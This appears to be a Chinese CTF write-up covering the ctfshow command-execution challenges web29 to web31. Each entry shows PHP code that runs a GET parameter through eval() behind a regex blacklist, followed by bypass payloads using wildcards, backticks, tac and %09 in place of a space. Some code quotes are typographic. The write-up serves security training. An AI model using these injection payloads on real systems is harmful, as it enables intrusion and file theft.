ctfshow WEB入门 命令执行 web29-web122

web29

题目源码:

if(isset($_GET[‘c‘])){   
$c = $_GET[‘c‘];   
    if(!preg_match("/flag/i", $c)){      
        eval($c);   
    }   
}   
else{  
    highlight_file(__FILE__);   
}

利用函数:eval()

绕过思路:通配符绕过flag过滤

Payload1:/?c=system(“ls”); #找到flag.php

Payload2:/?c=system(“cat fla*”);

web30

题目源码

if(isset($_GET[‘c‘])){
    $c = $_GET[‘c‘];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

利用函数:eval()

绕过思路:过滤了system,这里使用echo。flag,php过滤继续用通配符绕过。

Payload1:?c=echo `cat *` ;

web31

题目源码

if(isset($_GET[‘c‘])){
    $c = $_GET[‘c‘];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\‘/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

利用函数:eval()

绕过思路:过滤了system,这里使用echo。flag,php过滤继续用通配符绕过。空格用%09绕过,cat被过滤了换成tac。

Payload1:?c=echo `tac%09*`;

ctfshow WEB入门 命令执行 web29-web122

上一篇:Hibernate Validator 的使用


下一篇:Alexa网站排名调用代码-中国站长站提供